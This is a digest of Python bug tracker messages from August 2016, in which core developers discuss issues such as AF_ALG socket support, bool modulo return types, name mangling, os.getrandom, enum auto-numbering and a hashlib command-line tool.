Upload a patch to add the close function. ---------- keywords: +patch nosy: +xiang.zhang Added file: http://bugs.python.org/file44139/issue27746.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 06:49:30 2016 From: report at bugs.python.org (Christian Heimes) Date: Thu, 18 Aug 2016 10:49:30 +0000 Subject: [issue27744] Add AF_ALG (Linux Kernel crypto) to socket module In-Reply-To: <1470997290.77.0.995104201782.issue27744@psf.upfronthosting.co.za> Message-ID: <1471517370.65.0.0596233552062.issue27744@psf.upfronthosting.co.za> Christian Heimes added the comment: Thanks for your review, Victor. I have addressed most of your remarks. * algset() is now called sendmsg_afalg(). It behaves more like a specialized version of sendmsg() and can optionally handle an array of iovec. * I had to add another variant of setsockopt that sends NULL, int instead of (char*)int, sizeof(int) to get the AEAD GCM tests working. AEAD expects ALG_SET_AEAD_AUTHSIZE as (NULL, taglen). algo.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, (None, taglen)) sends optval=NULL, optlen=taglen. * Added tests for AES-CBC decryption, AEAD AES-GCM and DRBG. ---------- Added file: http://bugs.python.org/file44140/AF_ALG-kernel-crypto-support-for-socket-module-1.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 06:59:12 2016 From: report at bugs.python.org (Steven D'Aprano) Date: Thu, 18 Aug 2016 10:59:12 +0000 Subject: [issue27573] code.interact() should print an exit message In-Reply-To: <1471508365.2.0.524826501427.issue27573@psf.upfronthosting.co.za> Message-ID: <20160818105906.GU26300@ando.pearwood.info> Steven D'Aprano added the comment: On Thu, Aug 18, 2016 at 08:19:25AM +0000, Armin Rigo wrote: > Can we make the exit message optional? Sure. What API do you prefer? I'm thinking to just give interact() an optional "exitmsg" argument, similar to banner: def interact(banner=None, readfunc=None, local=None, exitmsg=None): and similar for InteractiveConsole.interact. If you're happy with that, I should be able to get the change done over this coming weekend. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 07:52:43 2016 From: report at bugs.python.org (Mark Dickinson) Date: Thu, 18 Aug 2016 11:52:43 +0000 Subject: [issue26984] int() can return not exact int instance In-Reply-To: <1462802551.63.0.282711121635.issue26984@psf.upfronthosting.co.za> Message-ID: <1471521163.65.0.936963584954.issue26984@psf.upfronthosting.co.za> Changes by Mark Dickinson : ---------- assignee: -> mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 08:09:44 2016 From: report at bugs.python.org (Mark Dickinson) Date: Thu, 18 Aug 2016 12:09:44 +0000 Subject: [issue27792] bool % int has inconsistent return type. Message-ID: <1471522184.6.0.180727658767.issue27792@psf.upfronthosting.co.za> New submission from Mark Dickinson: Seen on reddit [1]: >>> True % 1 0 >>> True % 2 True I believe that we should be returning an int in both these cases; this looks like a longobject.c fast path gone wrong. [1] https://www.reddit.com/r/learnpython/comments/4y5bh1/can_someone_explain_why_true_1_0_but_true_2_true/ ---------- messages: 273020 nosy: mark.dickinson priority: normal severity: normal stage: needs patch status: open title: bool % int has inconsistent return type. type: behavior versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 08:13:56 2016 From: report at bugs.python.org (Armin Rigo) Date: Thu, 18 Aug 2016 12:13:56 +0000 Subject: [issue27573] code.interact() should print an exit message In-Reply-To: <1468932940.76.0.523388198835.issue27573@psf.upfronthosting.co.za> Message-ID: <1471522436.8.0.305781735014.issue27573@psf.upfronthosting.co.za> Armin Rigo added the comment: I'm fine with `exitmsg`. I guess it would be a flag (not `None` as you wrote), defaulting to `True`? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 08:26:56 2016 From: report at bugs.python.org (Armin Rigo) Date: Thu, 18 Aug 2016 12:26:56 +0000 Subject: [issue27573] code.interact() should print an exit message In-Reply-To: <1468932940.76.0.523388198835.issue27573@psf.upfronthosting.co.za> Message-ID: <1471523216.89.0.785998607861.issue27573@psf.upfronthosting.co.za> Armin Rigo added the comment: ...ah, upon closer inspection, we don't use the ``interact()`` method anyway. We already copied and tweaked this method: one problem was that it gives no way to run without printing at least one '\n' of banner at the beginning. Then a more important tweak was made when we added multiline input with `pyrepl` by default. So feel free to ignore my request. (Multiline input is great, btw, if you use the interactive Python a lot. That would be a completely different patch---if I thought that there's a good chance of it not languishing forever on this bug tracker, which I honestly don't think is the case...) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 08:27:26 2016 From: report at bugs.python.org (avraf) Date: Thu, 18 Aug 2016 12:27:26 +0000 Subject: [issue27793] Double underscore variables in module are mangled when used in class Message-ID: <1471523246.01.0.475585276103.issue27793@psf.upfronthosting.co.za> New submission from avraf: import re __no_spaces_pattern = r'\S+' __match_chars_until_space = re.compile(__no_spaces_pattern).match __match_chars_from_last_space = re.compile(__no_spaces_pattern + '$').match def __get_chars_until_space(name): return __match_chars_until_space(name).group() def __get_chars_from_last_space(name): return __match_chars_from_last_space(name).group() __random_unique_five_digit_number = 12345 __random_id_generator = lambda: __random_unique_five_digit_number class Person(object): def __init__(self, name): self.name = name @property def first_name(self): return __get_chars_until_space(self.name) @property def last_name(self): return __get_chars_from_last_space(self.name) I get this error when importing and running in another file. It seems python mangles every occurrence of double underscores seen in a class. Even if the double underscores variable appears in the body of a method and belongs to the module. This behavior is very unexpected. Traceback (most recent call last): File "beef.py", line 5, in print bob.first_name File "/home/dude/style/static_private_methods/real_static_private_functions.py", line 22, in first_name return __get_chars_until_space(self.name) NameError: global name '_Person__get_chars_until_space' is not defined ---------- messages: 273023 nosy: avraf priority: normal severity: normal status: open title: Double underscore variables in module are mangled when used in class type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 08:27:32 2016 From: report at bugs.python.org (Nick Coghlan) Date: Thu, 18 Aug 2016 12:27:32 +0000 Subject: [issue27778] PEP 524: Add os.getrandom() In-Reply-To: <1471368341.7.0.188364803995.issue27778@psf.upfronthosting.co.za> Message-ID: <1471523252.3.0.380464625113.issue27778@psf.upfronthosting.co.za> Nick Coghlan added the comment: Given docs (with the Linux-only platform support disclaimer), +1 for this as an initial implementation. Providing it on Solaris as well can be a separate patch, but it's less important there (since /dev/urandom and os.urandom() are already blocking APIs) ---------- nosy: +ncoghlan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 09:02:13 2016 From: report at bugs.python.org (Nick Coghlan) Date: Thu, 18 Aug 2016 13:02:13 +0000 Subject: [issue27776] PEP 524: Make os.urandom() blocking on Linux In-Reply-To: <1471352106.68.0.0657257565728.issue27776@psf.upfronthosting.co.za> Message-ID: <1471525333.36.0.634752505752.issue27776@psf.upfronthosting.co.za> Nick Coghlan added the comment: I have a few requests for clarification and confirmation as review comments, but overall +1 from me. (I'd still like a warning when we need to block in order to make life easier for system administrators attempting to debug any apparent system hangs, but as per the security-sig discussion, I can pursue that in a follow-up RFE and a separate patch, while this patch implements the PEP precisely as accepted) ---------- nosy: +ncoghlan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 09:10:53 2016 From: report at bugs.python.org (Berker Peksag) Date: Thu, 18 Aug 2016 13:10:53 +0000 Subject: [issue27587] Issues, reported by PVS-Studio static analyzer In-Reply-To: <1469172132.31.0.293406285451.issue27587@psf.upfronthosting.co.za> Message-ID: <1471525853.69.0.566496079375.issue27587@psf.upfronthosting.co.za> Berker Peksag added the comment: Here is an updated patch. ---------- Added file: http://bugs.python.org/file44141/issue27587_pystate_addmodule_v2.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 09:57:19 2016 From: report at bugs.python.org (Antti Haapala) Date: Thu, 18 Aug 2016 13:57:19 +0000 Subject: [issue27794] setattr a read-only property; the AttributeError should show the attribute that failed Message-ID: <1471528639.63.0.0729109170448.issue27794@psf.upfronthosting.co.za> New submission from Antti Haapala: Today we had an internal server error in production. I went to see the sentry logs for the error, and was dismayed: the error was `AttributeError: can't set attribute`, and the faulting line was `setattr(obj, attr, value)` that happens in a for-loop that uses computed properties coming from who knows. Well, I quickly ruled out that it was because the code was trying to set a value to a read-only property descriptor, the only problem was to find out *which of all these read-only properties* was it trying to set: Python 3.6.0a3+ (default, Aug 11 2016, 11:45:31) [GCC 5.4.0 20160609] on linux Type "help", "copyright", "credits" or "license" for more information. >>> class Foo: ... @property ... def bar(self): pass ... >>> setattr(Foo(), 'bar', 42) Traceback (most recent call last): File "", line 1, in AttributeError: can't set attribute Could we change this for Python 3.6 so that the message for this could include the name of the property just like `AttributeError: has no attribute 'baz'` does? ---------- messages: 273027 nosy: ztane priority: normal severity: normal status: open title: setattr a read-only property; the AttributeError should show the attribute that failed type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 10:14:27 2016 From: report at bugs.python.org (Mark Dickinson) Date: Thu, 18 Aug 2016 14:14:27 +0000 Subject: [issue27792] bool % int has inconsistent return type. In-Reply-To: <1471522184.6.0.180727658767.issue27792@psf.upfronthosting.co.za> Message-ID: <1471529667.4.0.864270464812.issue27792@psf.upfronthosting.co.za> Mark Dickinson added the comment: Ah, it looks as though this is already fixed in master, and it's probably not worth fixing for 3.5. Closing. ---------- status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 10:14:34 2016 From: report at bugs.python.org (Mark Dickinson) Date: Thu, 18 Aug 2016 14:14:34 +0000 Subject: [issue27792] bool % int has inconsistent return type. In-Reply-To: <1471522184.6.0.180727658767.issue27792@psf.upfronthosting.co.za> Message-ID: <1471529674.52.0.649015926044.issue27792@psf.upfronthosting.co.za> Changes by Mark Dickinson : ---------- resolution: -> out of date _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 10:26:27 2016 From: report at bugs.python.org (Kaeptm Blaubaer) Date: Thu, 18 Aug 2016 14:26:27 +0000 Subject: [issue27727] Update Tools/freeze to use .vcxproj files In-Reply-To: <1470839867.79.0.0217135468923.issue27727@psf.upfronthosting.co.za> Message-ID: <1471530387.77.0.179787801412.issue27727@psf.upfronthosting.co.za> Kaeptm Blaubaer added the comment: That's right, in checkextensions_win32.py a .vcxproj parsing algorithm must be added, and in extensions_win32.ini the values must be updated, for example the builtin extensions from .dsp to .vcxproj ---------- versions: +Python 3.4, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 10:27:01 2016 From: report at bugs.python.org (Mark Dickinson) Date: Thu, 18 Aug 2016 14:27:01 +0000 Subject: [issue27792] bool % int has inconsistent return type. In-Reply-To: <1471522184.6.0.180727658767.issue27792@psf.upfronthosting.co.za> Message-ID: <1471530421.08.0.489284238866.issue27792@psf.upfronthosting.co.za> Mark Dickinson added the comment: Whoops; no, it's not fixed. 3.6 introduced a fast path that has the side-effect of fixing this issue for the `True % 2` case, but not for all cases: >>> False % 2 False >>> True % 2 1 >>> class MyInt(int): pass ... >>> type(MyInt(0) % 6) >>> type(MyInt(1) % 6) ---------- resolution: out of date -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 10:32:49 2016 From: report at bugs.python.org (Kaeptm Blaubaer) Date: Thu, 18 Aug 2016 14:32:49 +0000 Subject: [issue27795] Cygwin compile errors Message-ID: <1471530769.75.0.763200127256.issue27795@psf.upfronthosting.co.za> New submission from Kaeptm Blaubaer: If I try to compile Python 3.5 with Cygwin, I get a lot of errors. ---------- components: Build, Windows messages: 273031 nosy: Kaeptm Blaubaer, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: Cygwin compile errors type: compile error versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 10:36:25 2016 From: report at bugs.python.org (R. David Murray) Date: Thu, 18 Aug 2016 14:36:25 +0000 Subject: [issue27793] Double underscore variables in module are mangled when used in class In-Reply-To: <1471523246.01.0.475585276103.issue27793@psf.upfronthosting.co.za> Message-ID: <1471530985.1.0.140892228593.issue27793@psf.upfronthosting.co.za> R. David Murray added the comment: This is working as designed (https://docs.python.org/3/tutorial/classes.html#private-variables): "This mangling is done without regard to the syntactic position of the identifier, as long as it occurs within the definition of a class." If you want to advocate changing that you'll have to start a thread on python-ideas, but I don't think the benefit would be worth the cost. ---------- nosy: +r.david.murray resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 10:39:23 2016 From: report at bugs.python.org (R. David Murray) Date: Thu, 18 Aug 2016 14:39:23 +0000 Subject: [issue27794] setattr a read-only property; the AttributeError should show the attribute that failed In-Reply-To: <1471528639.63.0.0729109170448.issue27794@psf.upfronthosting.co.za> Message-ID: <1471531163.02.0.558421646784.issue27794@psf.upfronthosting.co.za> R. David Murray added the comment: If someone submits a patch in time, we'd probably accept it. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 10:42:04 2016 From: report at bugs.python.org (R. David Murray) Date: Thu, 18 Aug 2016 14:42:04 +0000 Subject: [issue27795] Cygwin compile errors In-Reply-To: <1471530769.75.0.763200127256.issue27795@psf.upfronthosting.co.za> Message-ID: <1471531324.8.0.489396845497.issue27795@psf.upfronthosting.co.za> R. David Murray added the comment: Yes, we know :( There are a lot of issues in this tracker about mingw and cygwin. If you can help review them, that would be fantastic. ---------- nosy: +r.david.murray resolution: -> duplicate stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 10:51:08 2016 From: report at bugs.python.org (Emanuel Barry) Date: Thu, 18 Aug 2016 14:51:08 +0000 Subject: [issue27794] setattr a read-only property; the AttributeError should show the attribute that failed In-Reply-To: <1471528639.63.0.0729109170448.issue27794@psf.upfronthosting.co.za> Message-ID: <1471531868.64.0.919785475447.issue27794@psf.upfronthosting.co.za> Emanuel Barry added the comment: The approach I'd take would be to change how {get,set,del}attr handle AttributeError; possibly by automatically filling in the information and giving a nicer error message. This would fix this as a side-effect (somewhat; some bits of code would need to change). How does that sound to core devs? ---------- nosy: +ebarry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 10:57:40 2016 From: report at bugs.python.org (Antti Haapala) Date: Thu, 18 Aug 2016 14:57:40 +0000 Subject: [issue27794] setattr a read-only property; the AttributeError should show the attribute that failed In-Reply-To: <1471528639.63.0.0729109170448.issue27794@psf.upfronthosting.co.za> Message-ID: <1471532260.34.0.519824536875.issue27794@psf.upfronthosting.co.za> Antti Haapala added the comment: Unfortunately it seems that it is not that straightforward. The descriptor object doesn't know the name of the property. The error is raised in `property_descr_set`. However the error itself can be propagated from setting another property. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 11:01:17 2016 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 18 Aug 2016 15:01:17 +0000 Subject: [issue27598] Add SizedIterable to collections.abc and typing In-Reply-To: <1471500527.37.0.142635123325.issue27598@psf.upfronthosting.co.za> Message-ID: Guido van Rossum added the comment: Why don't you give it a try? I'd be happy to review a patch from you. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 11:16:55 2016 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 18 Aug 2016 15:16:55 +0000 Subject: [issue27598] Add SizedIterable to collections.abc and typing In-Reply-To: Message-ID: Guido van Rossum added the comment: I thought about this some more. It won't work because when a class method is called via super(), 'cls' is still set to the derived class (and in general for class methods that's the right thing to do, just as it is for regular methods that self is still the actual object). If you read my previous long comment you'll understand that all the __subclasshook__ methods carefully return NotImplemented immediately if their 'cls' argument is not the class where they are defined. So it won't work. I also don't see the use case (you're not supposed to do this at home, basically). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 11:23:53 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 18 Aug 2016 15:23:53 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1471533833.14.0.472088555784.issue26988@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Temporarily, marking this as open so that more people can see the new comments. For John, I'm not sure what I can say that will help you. The goal of the standard libraries modules is to provide tools the use language we have, not to invent a new language the isn't really Python or Pythonic. In the absence of an "enum" keyword, you have a number of ways to work within the language. In this case (wanting auto numbering but not caring what the values are), you already have several ways to do it. I your issue is not where the use case is met; instead, you just don't like how their spelled (because it isn't exactly how it it looks in C). This already works: Animal = Enum('Animal', ['ant', 'bee', 'cat', 'dog']). This is very flexible and lets you read the constants from many possible sources. If you're attracted to multiline input, that is already possible as well: Animal = Enum('Animal', ''' ant bee cat dog ''') It is clear that you're bugged by writing Animal twice, but that is how Python normally works and it is a very minor nuisance (it only occurs once when the enum is defined). Note, you already are rewriting "Animal" every time you use the enum value (presumably many times): board_ark(Animal.ant, Animal.bee) This whole feature request boils down to wanting a currently existing feature to be spelled a little differently, in a way that doesn't look like normal Python. Elsewhere, we resisted the temptation to alter the language look-and-feel to accommodate small spelling tweaks for various modules (i.e. we pass in normal strings to the regex module even though that sometimes requires double escaping, we pass in the class name to namedtuples even though that uses the class name twice, the xpath notation in passed into XML tools as strings even though parts of it look like regular langauge, we don't abuse the | operator to link together chains of itertools, etc) Since the enum module already provides one way to do it, I recommend that we stick with that one way. Creating too many variants does not help users. Using the core language in odd ways also does not help users. ---------- status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 11:33:47 2016 From: report at bugs.python.org (Barry A. Warsaw) Date: Thu, 18 Aug 2016 15:33:47 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1471534427.84.0.121911431381.issue26988@psf.upfronthosting.co.za> Barry A. Warsaw added the comment: Ethan, the suggestion has come up several times about using a dummy value such as the empty tuple to do autonumbering, thus looking more Pythonic. I'm not a huge fan of the empty tuple, and I'm still not sure whether we need this, but I wonder if it would be possible to not have a new base class, but to put the smarts in the value to which the enums were assigned. E.g. is this possible (a separate question than whether it's good :): from enum import Enum, auto class Color(Enum): red = auto green = auto blue = auto Apologies if this has already been suggested; this tracker thread is too long to read the whole thing. :( ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 11:41:28 2016 From: report at bugs.python.org (Xiang Zhang) Date: Thu, 18 Aug 2016 15:41:28 +0000 Subject: [issue27792] bool % int has inconsistent return type. In-Reply-To: <1471522184.6.0.180727658767.issue27792@psf.upfronthosting.co.za> Message-ID: <1471534888.05.0.775500747701.issue27792@psf.upfronthosting.co.za> Changes by Xiang Zhang : ---------- nosy: +xiang.zhang _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 11:50:03 2016 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 18 Aug 2016 15:50:03 +0000 Subject: [issue25958] Implicit ABCs have no means of "anti-registration" In-Reply-To: <1451168802.83.0.911068284232.issue25958@psf.upfronthosting.co.za> Message-ID: <1471535403.53.0.479008714516.issue25958@psf.upfronthosting.co.za> Guido van Rossum added the comment: The patch LGTM. Do all the tests pass? Who should be attributed in the commit message and the Misc/NEWS item? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 12:03:34 2016 From: report at bugs.python.org (Mark Dickinson) Date: Thu, 18 Aug 2016 16:03:34 +0000 Subject: [issue27792] bool % int has inconsistent return type. In-Reply-To: <1471522184.6.0.180727658767.issue27792@psf.upfronthosting.co.za> Message-ID: <1471536214.24.0.586976878786.issue27792@psf.upfronthosting.co.za> Mark Dickinson added the comment: FWIW, I'd suggest not changing this in 3.5; only in 3.6. It's a fairly harmless bug that's been with us throughout the 3.x series so far (and even back into 2.x, if you start looking at behaviour with subclasses of `long`). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 12:15:15 2016 From: report at bugs.python.org (Roundup Robot) Date: Thu, 18 Aug 2016 16:15:15 +0000 Subject: [issue27558] SystemError with bare `raise` in threading or multiprocessing In-Reply-To: <1468823203.61.0.708048243679.issue27558@psf.upfronthosting.co.za> Message-ID: <20160818161502.16227.67198.9C82148D@psf.io> Roundup Robot added the comment: New changeset ba45fbb16499 by Victor Stinner in branch '3.5': Fix SystemError in "raise" statement https://hg.python.org/cpython/rev/ba45fbb16499 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 12:19:19 2016 From: report at bugs.python.org (STINNER Victor) Date: Thu, 18 Aug 2016 16:19:19 +0000 Subject: [issue27558] SystemError with bare `raise` in threading or multiprocessing In-Reply-To: <1468823203.61.0.708048243679.issue27558@psf.upfronthosting.co.za> Message-ID: <1471537158.98.0.486117482278.issue27558@psf.upfronthosting.co.za> STINNER Victor added the comment: Thanks Xiang Zhang. The fix is obvious and simple, but it wasn't easy to identify it ;-) I pushed the fix to Python 3.5 and default (3.6). Python 2.7 doesn't crash, the bare "raise" statement raises the exception: TypeError('exceptions must be old-style classes or derived from BaseException, not NoneType',). I suggest to not touch Python 2.7 and close the issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 12:21:38 2016 From: report at bugs.python.org (STINNER Victor) Date: Thu, 18 Aug 2016 16:21:38 +0000 Subject: [issue27587] Issues, reported by PVS-Studio static analyzer In-Reply-To: <1469172132.31.0.293406285451.issue27587@psf.upfronthosting.co.za> Message-ID: <1471537298.05.0.742108451682.issue27587@psf.upfronthosting.co.za> STINNER Victor added the comment: issue27587_pystate_addmodule_v2.diff LGTM. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 12:23:55 2016 From: report at bugs.python.org (Xiang Zhang) Date: Thu, 18 Aug 2016 16:23:55 +0000 Subject: [issue27558] SystemError with bare `raise` in threading or multiprocessing In-Reply-To: <1468823203.61.0.708048243679.issue27558@psf.upfronthosting.co.za> Message-ID: <1471537435.67.0.949629482114.issue27558@psf.upfronthosting.co.za> Xiang Zhang added the comment: Thanks for your work too! ;) I agree to close. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 12:24:42 2016 From: report at bugs.python.org (STINNER Victor) Date: Thu, 18 Aug 2016 16:24:42 +0000 Subject: [issue27558] SystemError with bare `raise` in threading or multiprocessing In-Reply-To: <1468823203.61.0.708048243679.issue27558@psf.upfronthosting.co.za> Message-ID: <1471537482.3.0.59794543344.issue27558@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 12:27:57 2016 From: report at bugs.python.org (Roundup Robot) Date: Thu, 18 Aug 2016 16:27:57 +0000 Subject: [issue25958] Implicit ABCs have no means of "anti-registration" In-Reply-To: <1451168802.83.0.911068284232.issue25958@psf.upfronthosting.co.za> Message-ID: <20160818162752.2715.22469.E59EB796@psf.io> Roundup Robot added the comment: New changeset 72b9f195569c by Guido van Rossum in branch 'default': Anti-registration of various ABC methods. https://hg.python.org/cpython/rev/72b9f195569c ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 12:29:35 2016 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 18 Aug 2016 16:29:35 +0000 Subject: [issue25958] Implicit ABCs have no means of "anti-registration" In-Reply-To: <1451168802.83.0.911068284232.issue25958@psf.upfronthosting.co.za> Message-ID: <1471537775.65.0.898960000543.issue25958@psf.upfronthosting.co.za> Guido van Rossum added the comment: Pushed, let's see what the buildbots say. ---------- resolution: -> fixed stage: patch review -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 13:33:42 2016 From: report at bugs.python.org (Mark Grandi) Date: Thu, 18 Aug 2016 17:33:42 +0000 Subject: [issue13516] Gzip old log files in rotating handlers In-Reply-To: <1322762423.02.0.0799773449724.issue13516@psf.upfronthosting.co.za> Message-ID: <1471541622.31.0.113623237753.issue13516@psf.upfronthosting.co.za> Mark Grandi added the comment: I just ran into this myself, and would challenge the notion that just because few people complain about the fact that built in compression isn't built in for logging handlers (such as TimedRotatingFileHandler), that it isn't a needed feature. This is such a common feature in pretty much everything that it would be nice to have it built in rather than having a custom RotatingHandler subclass that just compresses the logs and does nothing else in every project I work with. While not python, i searched github for logback/slf4j (java logging framework) entries for their equivilent of TimedRotatingFileHandler and I found quite a few results: https://github.com/search?utf8=%E2%9C%93&q=fileNamePattern%2F%3E*.gz+language%3AXML&type=Code&ref=searchresults you don't even have to change the API of it, it could act the same way as the tarfile module, where if the 'filename' argument ends in one of "bz2", "gz" or 'xz" then it is compressed with that compression type, and if not, then it doesn't compress it (what it does now) and, that is how logback/slf4j does it as well (http://logback.qos.ch/manual/appenders.html#fwrpFileNamePattern) ---------- nosy: +markgrandi _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 14:00:55 2016 From: report at bugs.python.org (Vinay Sajip) Date: Thu, 18 Aug 2016 18:00:55 +0000 Subject: [issue13516] Gzip old log files in rotating handlers In-Reply-To: <1322762423.02.0.0799773449724.issue13516@psf.upfronthosting.co.za> Message-ID: <1471543255.11.0.391618644976.issue13516@psf.upfronthosting.co.za> Vinay Sajip added the comment: You don't need a subclass - you can specify your own function to do it, as in the cookbook example: https://docs.python.org/3/howto/logging-cookbook.html#using-a-rotator-and-namer-to-customize-log-rotation-processing ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 14:07:57 2016 From: report at bugs.python.org (Ivan Levkivskyi) Date: Thu, 18 Aug 2016 18:07:57 +0000 Subject: [issue25958] Implicit ABCs have no means of "anti-registration" In-Reply-To: <1451168802.83.0.911068284232.issue25958@psf.upfronthosting.co.za> Message-ID: <1471543677.66.0.352329072105.issue25958@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: On my machine 8 tests are always skipped: test_devpoll test_kqueue test_msilib test_ossaudiodev test_startfile test_winreg test_winsound test_zipfile64 All others tests pass OK. The main part of the work is by Andrew Barnert, I only introduced small changes due to previous changes in Reversible and few minor things in response to previous comments. Guido, thank you for applying the patch! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 14:17:58 2016 From: report at bugs.python.org (Aviv Palivoda) Date: Thu, 18 Aug 2016 18:17:58 +0000 Subject: [issue24905] Allow incremental I/O to blobs in sqlite3 In-Reply-To: <1440144321.97.0.0781853247945.issue24905@psf.upfronthosting.co.za> Message-ID: <1471544278.33.0.138138816904.issue24905@psf.upfronthosting.co.za> Aviv Palivoda added the comment: Thanks for the review Serhiy. Attached is the updated patch after the changes. ---------- Added file: http://bugs.python.org/file44142/blob2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 14:23:45 2016 From: report at bugs.python.org (Aviv Palivoda) Date: Thu, 18 Aug 2016 18:23:45 +0000 Subject: [issue26488] hashlib command line interface In-Reply-To: <1457214866.19.0.989950954277.issue26488@psf.upfronthosting.co.za> Message-ID: <1471544625.74.0.872041402317.issue26488@psf.upfronthosting.co.za> Aviv Palivoda added the comment: Hi, is there anything more I need to do on this patch? If not do you think this can be added in 3.6? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 14:28:39 2016 From: report at bugs.python.org (Vinay Sajip) Date: Thu, 18 Aug 2016 18:28:39 +0000 Subject: [issue25785] TimedRotatingFileHandler missing rotations In-Reply-To: <1449084472.03.0.0629669508216.issue25785@psf.upfronthosting.co.za> Message-ID: <1471544919.43.0.358603380587.issue25785@psf.upfronthosting.co.za> Changes by Vinay Sajip : ---------- stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 14:31:28 2016 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 18 Aug 2016 18:31:28 +0000 Subject: [issue27731] Opt-out of MAX_PATH on Windows 10 In-Reply-To: <1470870588.24.0.387323259693.issue27731@psf.upfronthosting.co.za> Message-ID: <1471545088.65.0.553149529059.issue27731@psf.upfronthosting.co.za> Antoine Pitrou added the comment: This is great! Will it apply to third-party C extensions loaded into Python? ---------- nosy: +pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 14:36:24 2016 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 18 Aug 2016 18:36:24 +0000 Subject: [issue26488] hashlib command line interface In-Reply-To: <1457214866.19.0.989950954277.issue26488@psf.upfronthosting.co.za> Message-ID: <1471545384.39.0.666212507138.issue26488@psf.upfronthosting.co.za> Gregory P. Smith added the comment: There are so many existing tools that already do this I don't really see why Python needs to become yet another one. What is the value in doing this? Just use the openssl command. "openssl sha256 myfile" Or any of the md5sum, sha1sum and other plethora of commands people also have installed. Overall the change looks pretty good (i left a couple comments on the patch), i'm not going to object to it going in. But I don't know why we're bothering. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 14:54:04 2016 From: report at bugs.python.org (Aviv Palivoda) Date: Thu, 18 Aug 2016 18:54:04 +0000 Subject: [issue26488] hashlib command line interface In-Reply-To: <1457214866.19.0.989950954277.issue26488@psf.upfronthosting.co.za> Message-ID: <1471546444.71.0.864563785201.issue26488@psf.upfronthosting.co.za> Aviv Palivoda added the comment: The use case that made me think about this feature was when I was working on a Windows PC and needed to calculate an md5 of a file. I agree that in a unix environment there are existing tools but on windows you usually don't have them. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 18 14:55:03 2016 From: report at bugs.python.org (Mark Dickinson) Date: Thu, 18 Aug 2016 18:55:03 +0000 Subject: [issue26984] int() can return not exact int instance 